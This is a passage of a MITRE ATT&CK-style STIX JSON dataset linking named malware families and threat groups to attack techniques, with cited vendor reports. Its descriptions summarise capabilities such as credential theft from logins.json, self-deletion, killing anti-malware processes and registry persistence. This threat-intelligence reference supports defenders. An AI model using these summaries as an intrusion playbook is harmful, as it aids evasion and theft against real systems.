                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.773Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the MAC and IP addresses during installation.(Citation: Palo Alto T9000 Feb 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.788Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--fa14a106-cc98-4a5f-b849-85a5491eea36",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Volgmer](https://attack.mitre.org/software/S0180) can delete files and itself after infection to avoid analysis.(Citation: US-CERT Volgmer 2 Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.062Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2e69a835-6443-455e-8ff0-775bb8c823f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on local user accounts from the victim.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T19:59:42.025Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e104cf3c-a802-4e06-8abc-6293cea9492f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) uses [PowerSploit](https://attack.mitre.org/software/S0194) to inject shellcode into PowerShell.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Symantec Cicada November 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-12-17T18:57:21.557Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--37f94533-8fbe-48d2-bf4f-f825ad75ff98",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) gathers a list of installed apps from the uninstall program Registry. It also gathers registered mail, browser, and instant messaging clients from the Registry. [BlackEnergy](https://attack.mitre.org/software/S0089) has searched for given file types.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf",
                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "source_name": "F-Secure BlackEnergy 2014"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-06-02T16:14:00.911Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--47a10b36-7f39-480c-8708-410eb3af46ca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses the <code>net user</code> command.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T19:41:49.395Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on process details.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.290Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--72fe5021-bace-41e4-9cc6-73af415225ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T17:16:53.518Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5e840479-61c1-44f5-8cb8-0e61ffe12b89",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Taidoor](https://attack.mitre.org/software/S0011) can perform DLL loading.(Citation: TrendMicro Taidoor)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Taidoor",
                    "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.",
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"
                }
            ],
            "source_ref": "malware--b143dfa4-e944-43ff-8429-bfffc308c517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-21T00:27:23.603Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--52781f1e-4b91-4ff2-8f48-89e15bc40d42",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information on the victim's anti-virus software.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-07-06T16:11:56.829Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b258b8da-ddd2-4f0e-b5da-83a89f018d54",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) runs its core DLL file using rundll32.exe.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-06-16T20:51:14.126Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--753f9861-f0b8-4467-ac5e-4457bd350095",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) installs itself under Registry Run key to establish persistence.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279"
        },
        {
            "id": "relationship--3a31a022-8bb1-4102-9c9a-7289febdcc5c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) executes additional VBScript code on the victim's machine.(Citation: fsecure NanHaiShu July 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-18T18:14:53.901Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--1f8760c6-f11c-43f7-acf8-bc30a347518c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) removes all files in the /tmp directory.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-06-24T19:03:52.716Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--49af09c8-1460-485d-9f09-dacea47fa016",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to obtain a victim's system name and operating system version.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.262Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a83182d2-b619-4ca4-984b-21ecfe43da26",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                },
                {
                    "source_name": "Unit42 Redaman January 2019",
                    "url": "https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/",
                    "description": "Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-06-16T20:51:14.106Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--048df7c4-96b0-4b76-9e21-f9ad70a2ce9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use DCOM (targeting the 127.0.0.1 loopback address) to execute additional payloads on compromised hosts.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64",
            "type": "relationship",
            "modified": "2020-03-20T15:51:51.891Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--babaa2be-7c41-490a-bd0b-2cf140858244",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SslMM](https://attack.mitre.org/software/S0058) identifies and kills anti-malware processes.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2019-04-25T02:48:47.499Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about installed anti-virus software.(Citation: ESET Operation Groundbait)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Operation Groundbait",
                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
            "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-07-26T20:45:14.599Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0e5b4489-d480-4f42-aadb-0eeb45ad6bc0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches for files named logins.json to parse for credentials.(Citation: Talos Smoke Loader July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2019-06-24T19:07:12.674Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Regin](https://attack.mitre.org/software/S0019) stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.451Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d4d35e55-6a09-47ef-8de5-160468276025",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[at](https://attack.mitre.org/software/S0110) can be used to schedule a task on a system.(Citation: TechNet At)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet At",
                    "description": "Microsoft. (n.d.). At. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490866.aspx"
                }
            ],
            "source_ref": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0",
            "type": "relationship",
            "modified": "2020-03-16T15:37:07.628Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8e82a523-fc73-4f3b-98dc-3b1e7199cd93",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OLDBAIT](https://attack.mitre.org/software/S0138) obfuscates internal strings and unpacks them at startup.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T02:03:18.302Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--229e8b6e-6c16-406a-8def-7588aaae4fcb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Uroburos](https://attack.mitre.org/software/S0022) uses a custom packer.(Citation: Symantec Waterbug)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Waterbug",
                    "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.",
                    "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"
                }
            ],
            "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2020-06-29T13:27:46.666Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--313082d2-c493-4053-80c1-06300aeea8e0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.780Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c6358f18-fc64-46f5-8939-66e5258dd83d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors used compromised domain credentials for the victim's endpoint management platform, Altiris, to move laterally.(Citation: Dell TG-1314)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.secureworks.com/resources/blog/living-off-the-land/",
                    "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.",
                    "source_name": "Dell TG-1314"
                }
            ],
            "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
            "type": "relationship",
            "modified": "2020-03-16T19:05:40.022Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
        {
            "id": "relationship--34cb97d2-b8ae-46e8-a8f7-caca4214820e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) runs the <code>ifconfig</code> command to obtain the IP address from the victim\u2019s machine.(Citation: Securelist Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
